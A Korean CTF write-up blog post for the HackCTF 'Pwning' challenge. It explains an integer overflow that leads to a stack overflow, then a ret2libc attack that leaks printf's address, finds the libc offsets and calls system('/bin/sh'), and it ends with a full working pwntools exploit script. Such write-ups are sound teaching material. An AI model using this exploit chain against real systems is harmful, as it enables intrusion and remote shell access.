tmxklab

[HackCTF/Pwnable] Pwning 본문

War Game/HackCTF

[HackCTF/Pwnable] Pwning

tmxk4221 2020. 6. 23. 20:51

1. 문제

nc ctf.j0n9hyun.xyz 3019

 

1) mitigation

 

2) 문제 확인

  • 제한된 길이의 값만큼 출력 가능

 

3) 코드흐름 파악

3-1) main()

int __cdecl main(int argc, const char **argv, const char **envp)
{
  setvbuf(stdout, 0, 2, 0);
  return vuln();
}

 

3-2) vuln()

int vuln()
{
  char nptr; // [esp+1Ch] [ebp-2Ch]
  int v2; // [esp+3Ch] [ebp-Ch]

  printf("How many bytes do you want me to read? ");
  get_n(&nptr, 4);
  v2 = atoi(&nptr);
  if ( v2 > 32 )
    return printf("No! That size (%d) is too large!\n", v2);
  printf("Ok, sounds good. Give me %u bytes of data!\n", v2);
  get_n(&nptr, v2);
  return printf("You said: %s\n", &nptr);
}
  • 입력 값의 크기를 32bytes이상 받을 경우 프로그램 종료

 

3-3) get_n()

int __cdecl get_n(int a1, unsigned int a2)
{
  int v2; // eax
  int result; // eax
  char v4; // [esp+Bh] [ebp-Dh]
  unsigned int v5; // [esp+Ch] [ebp-Ch]

  v5 = 0;
  while ( 1 )
  {
    v4 = getchar();
    if ( !v4 || v4 == 10 || v5 >= a2 )
      break;
    v2 = v5++;
    *(_BYTE *)(v2 + a1) = v4;
  }
  result = a1 + v5;
  *(_BYTE *)(a1 + v5) = 0;
  return result;
}
  • 입력한 값을 int형으로 바꿔 return

 


2. 접근 방법

 

먼저, vuln()에서 입력 값 크기를 지정해줄 때 integer overflow가 발생하게 된다.

 

ex) -1을 입력한 경우

따라서, nptr[ebp-0x2c]에 입력한 값을 넣을 수 있으며 ret까지 건드릴 수 있다.

 

RTL을 수행하기 위해서 필요한 것은 system()주소 값과 "/bin/sh" 주소 값이다.

  • 주소 값을 확인할 수 있지만 서버에서 aslr이 걸려있을 수 있다.
  • offset을 통해 system(), "/bin/sh" 주소 값을 찾도록 한다.

여기서 다음과 같은 문제점 2가지가 발생한다.

 

문제점 1)

  • offset을 찾기 위해 특정 함수의 주소 값을 leak해야 한다.
  • 하지만, leak을 한 번하고 나면 프로그램이 종료된다.

해결 1)

leak을 하고 한 번더 vuln()를 호출하여 입력 값을 받을 수 있게 한다. (ROP)

(여기서는 printf()의 주소 값을 leak하기로 한다.)

 

문제점 2)

  • 로컬에서 사용하는 libc와 서버에서 사용하는 libc가 달라 offset 또한 다르다.

해결 2)

leak한 함수 주소 값에서 하위 3개의 숫자를 통해 다음 링크에서 어떤 버전의 libc를 사용하는지 확인

 

참고 :

 

libc database search

Query show all libs / start over

libc.blukat.me

위 링크에서 얻은 결과를 통해 base address로부터 offset을 구함

 

결론)

  • integer overflow를 통해 buffer overflow 가능
  • ROP를 통해 printf()주소 값을 leak하고 다시 vuln()를 호출하여 system(), "/bin/sh"주소 값을 넣는다.
  • 참고로 printf()주소 값을 leak할 때 하위 3개의 숫자를 가지고 libc버전을 알아내어 각 함수의 offset을 구한다.

 


3. 풀이

 

1) 첫 번째 payload

 

[ dummy(48bytes) ] + [ printf_plt(4bytes) ] + [ vuln()(4bytes) ] + [ printf_got(4bytes) ]

 

설명)

  • ret위치에 printf_plt를 위치시키게 되어 vuln함수의 스택 프레임을 정리하고 ret를 수행할 시 eip가 printf_plt를 가리키게 되어 printf함수를 실행
  • 이 때, printf함수의 실제 주소 값을 가지고 있는 printf_got를 파라미터로 가지게 된다.
  • printf함수가 실행되어 printf함수의 주소 값을 출력
  • printf함수의 스택 프레임을 정리할 때 ret위치에 vuln함수가 존재하며 ret수행 시 다시 vuln함수를 호출

 

2) 두 번째 payload

 

[ dummy(48bytes) ] + [ system(4bytes) ] + [ dummy(4bytes) ] + [ "/bin/sh"(4bytes) ] 

 

 

3) offset

3-1) printf() 주소 값 leak

  • 하위 3개의 숫자 -> 020

  • system() offset : 0x3a940
  • printf() offset : 0x49020
  • /bin/sh offset : 0x15902b

 

3-2) 각 함수들간의 offset

  • base address = printf() address - printf() offset
  • system() address = base address + system() offset
  • /bin/sh address = base address + /bin/sh offset

 

4) 익스코드

from pwn import *

context.log_level="Debug"

#p = process("./pwning", aslr=False)
p = remote("ctf.j0n9hyun.xyz", 3019)

e = ELF("./pwning")

#gdb.attach(p, """b*0x80485b6""")

printf_plt = e.plt['printf']
printf_got= e.got['printf']
vuln_addr = e.symbols['vuln']
system_offset = 0x3a940
printf_offset = 0x49020
binsh_offset  = 0x15902b

# payload1
payload = "A"*48
payload += p32(printf_plt)
payload += p32(vuln_addr)
payload += p32(printf_got)


# 1. leak printf() Address 
p.sendlineafter("read? ", "-1")
p.sendlineafter("data!\n", payload)

p.recvuntil("\n")
data = p.recv(4)
printf_addr = u32(data)

base_addr = printf_addr - printf_offset
system_addr = base_addr + system_offset
binsh_addr = base_addr + binsh_offset
log.info("system_addr : "+hex(system_addr))
log.info("binsh_addr : "+hex(binsh_addr))

# payload2
payload = "A"*48
payload += p32(system_addr)
payload += "A"*4
payload += p32(binsh_addr)

# 2. dummy(44) + SFP(4) + system + dummy(4) + "/bin/sh"
p.sendlineafter("read? ", "-1")
p.sendlineafter("data!\n", payload)

p.interactive()

 

5) 익스 결과

'War Game > HackCTF' 카테고리의 다른 글

[HackCTF/Pwnable] UAF  (0) 2020.07.20
[HackCTF/Pwnable] you_are_silver  (0) 2020.06.30
[HackCTF/Pwnable] pzshell  (0) 2020.06.11
[HackCTF/Pwnable] ezshell  (0) 2020.06.11
[HackCTF/Pwnable] Gift  (0) 2020.05.18
Comments